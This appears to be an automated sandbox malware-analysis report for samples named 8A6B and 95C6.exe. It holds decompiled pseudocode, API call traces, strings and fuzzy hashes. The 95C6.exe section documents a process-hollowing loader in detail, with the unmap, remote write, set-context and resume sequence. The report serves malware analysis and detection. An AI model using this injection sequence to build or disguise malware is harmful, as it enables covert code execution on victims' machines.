Uniqueness Score: -1.00%

Function 00402BFB, Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00402BFB(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t28;
				intOrPtr* _t30;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc al, 0x62");
				_push(0x2c1c);
				_t12 =  *_t30;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t35 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t35,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L11:
						_t40 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						_push( *((intOrPtr*)(_t21 + 0x8336)));
						_push(_t23);
						_push(_t18);
						_push( *((intOrPtr*)(_t28 - 4)));
						E0040193B(_t25, _t40);
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t40);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t37 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t37, __fp0);
							_t38 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t38, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L11;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402bfb
0x00402bfb
0x00402bfb
0x00402bfb
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.806569365.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_8A6B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction ID: 52cd7e5ac6ed9cc019fbfcf69bdf72a742899d53516448c63c37d0d49b3bd750
Opcode Fuzzy Hash: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction Fuzzy Hash: 7111213050C105EAFF01A6518F5E97E72699F01348F24007BAD42B52E2D7BD9F16B62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C01, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00402C01(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t39,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c01
0x00402c01
0x00402c01
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.806569365.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_8A6B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction ID: 94dd4e34baa45bb6a7d52d13517e1efb42c98130ce2376b8e4646defd1028816
Opcode Fuzzy Hash: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction Fuzzy Hash: D2011220118105F9FF0167528F1A97E75299F01348F24007BAC41B52E2DBBD8F15A62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C12, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00402C12(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("a16 push es");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t39,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c12
0x00402c12
0x00402c12
0x00402c12
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.806569365.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_8A6B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction ID: 69eb8ccb3173368d7466cfbebad6b250e745b2528687b1428edbefbc5d99c229
Opcode Fuzzy Hash: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction Fuzzy Hash: 5001DE20518105FAFF01A6528F5A97E75699F01348F24007BAD42B52E2DBBD8F16AA2F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C16, Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E00402C16(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t33 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t33,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L6:
						_t38 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t38,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t38);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t35 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t35, __fp0);
							_t36 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t36, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L6;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c16
0x00402c16
0x00402c16
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.806569365.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_8A6B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction ID: 22f91f3ad527b43ded7c43fe05e3e31a54a2160e6f7bd47ea20a36d237ffec38
Opcode Fuzzy Hash: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction Fuzzy Hash: 4401CC20518105F9FF01B7628F1A9BE75699F00348F24007BBC41B52E6DBBD8F15AA2E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040DF48, Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040DF6E

Part of subcall function 0040DD93: __fltout2.LIBCMT ref: 0040DDBF

__cftog_l.LIBCMT ref: 0040DF94
__cftoe_l.LIBCMT ref: 0040DFC6

Memory Dump Source

Source File: 0000000C.00000002.806621753.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_409000_8A6B.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 371dcc409b8a9c37bc45af426a8add198d970d59fd773847fc00fd30e5f9ded3
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 7B11803280014EBBCF125EC4CC41CEE3F22BF19354B198426FA1968171C23AC9B5AB85

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 95C6.exe PID: 6844 Parent PID: 3424 95C6.exeCOMMON

Execution Graph

Execution Coverage:	22.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	29
Total number of Limit Nodes:	7

Executed Functions

Function 00560110, Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00560156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0056016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00560255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00560270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00560283
GetThreadContext.KERNELBASE(00000000,?), ref: 0056029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005602C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 005602E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00560304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0056032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00560399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005603BF
SetThreadContext.KERNELBASE(00000000,?), ref: 005603E1
ResumeThread.KERNELBASE(00000000), ref: 005603ED
ExitProcess.KERNEL32(00000000), ref: 00560412

Memory Dump Source

Source File: 0000000D.00000002.772427712.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_560000_95C6.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 04f3ca7647b99b7d47bc5e7f00c1835b74fe3d0369103041ea28fcab758180f8
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: CDB1C874A00208AFDB44CF98C895FAEBBB5FF88314F248158E509AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00560630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(user32), ref: 005606E2

Strings

NtUnmapViewOfSection, xrefs: 00561085, 0056108B
WinExec, xrefs: 00560820, 00560823
VirtualAllocEx, xrefs: 00560B44, 00560B4A
CloseHandle, xrefs: 00560938, 0056093E
ReadProcessMemory, xrefs: 00560C4A, 00560C50
CreateProcessA, xrefs: 005609BB, 005609C1
ntdll.dll, xrefs: 00560FE2, 00560FE8
SetThreadContext, xrefs: 00560D7A, 00560D80
MessageBoxA, xrefs: 005606EE, 005606F4
PostMessageA, xrefs: 005612B0, 005612B6
VirtualAlloc, xrefs: 00560AC1, 00560AC7
GetModuleFileNameA, xrefs: 00560EFB, 00560EFE
user32, xrefs: 005606DB, 005606E1
DefWindowProcA, xrefs: 00561374, 0056137A
GetMessageA, xrefs: 005612F7, 005612FA
RegisterClassExA, xrefs: 005611B7, 005611BD
GetMessageExtraInfo, xrefs: 00560794, 0056079A
GetFileAttributesA, xrefs: 005613D7, 005613DA
CreateFileA, xrefs: 0056088B, 00560891
ExitProcess, xrefs: 00561554, 0056155A
GetStartupInfoA, xrefs: 0056145B, 00561461
GetThreadContext, xrefs: 00560A4C, 00560A52
NtWriteVirtualMemory, xrefs: 0056112C, 00561132
kernel32, xrefs: 005607ED, 005607F3
WriteProcessMemory, xrefs: 00560CE9, 00560CEF
ResumeThread, xrefs: 00560DEF, 00560DF5
CreateWindowExA, xrefs: 0056123E, 00561244
VirtualFree, xrefs: 00560BB2, 00560BB8
VirtualProtectEx, xrefs: 005614E9, 005614EF
WaitForSingleObject, xrefs: 00560E95, 00560E9B
GetCommandLineA, xrefs: 00560F82, 00560F88
WriteFile, xrefs: 005608CD, 005608D0

Memory Dump Source

Source File: 0000000D.00000002.772427712.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_560000_95C6.jbxd

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: 3ea22fd08d951e18ca29eb1340bb9bd3b03b5d05307d861957565481fc4c883b
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: C0A25460D0C6E9C9EB21C668CC4C7DDBEB51B26749F0841D9818C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 00560420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00560533

Strings

0, xrefs: 00560492
d, xrefs: 00560584
saodkfnosa9uin, xrefs: 005604DA
mfoaskdfnoa, xrefs: 00560520, 00560523

Memory Dump Source

Source File: 0000000D.00000002.772427712.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_560000_95C6.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: a5e1311395c5df9e54fd5bcea512f8aef2f5e57e58078444bb670434fdbc8f62
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 03511A70D08388DAEB11CBD8C849BDEBFB26F21708F144058D5457F2C6C7BA5658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 005605B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 005605EC

Strings

o, xrefs: 00560600
apfHQ, xrefs: 005605E2, 005605E5

Memory Dump Source

Source File: 0000000D.00000002.772427712.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_560000_95C6.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 5e3499b66a4e4deb7e00ff58516b0b2a13b176343ddb8cf46416e096a8e2741f
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 6B012170C0424CEEDF10DB98C5183AEBFB5AF41308F1480D9C4092B282D7769B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 95C6.exe PID: 6804 Parent PID: 6844 95C6.exeCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000010.00000002.786031297.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_95C6.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000010.00000002.786031297.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_95C6.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000010.00000002.786031297.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_95C6.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Function 004027ED, Relevance: 1.5, APIs: 1, Instructions: 49
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004027ED(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				struct _OBJDIR_INFORMATION _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t9;
				long _t12;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				void* _t21;
				void* _t23;
				UNICODE_STRING* _t24;
				intOrPtr* _t25;
				intOrPtr* _t26;

				_t9 = 0x2824;
				_t18 =  *_t25;
				_t26 = _t25 + 4;
				E004012AB(_t9, _t16, _t18, _t20, _t21, _t23, __eflags);
				_t17 = _a4;
				_t24 =  &_v16;
				 *((intOrPtr*)(_a4 + 0xc))(_t24, _a8, 0x53);
				_t22 =  &_v8;
				_t12 = LdrLoadDll(0, 0, _t24,  &_v8);
				_t29 = _t12;
				if(_t12 != 0) {
					_v8 = 0;
				}
				_push(0x53);
				_t19 =  *_t26;
				E004012AB(0x2824, _t17, _t19, _t20, _t22, _t24, _t29);
				return _v8;
			}

0x00402800
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000010.00000001.770880013.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
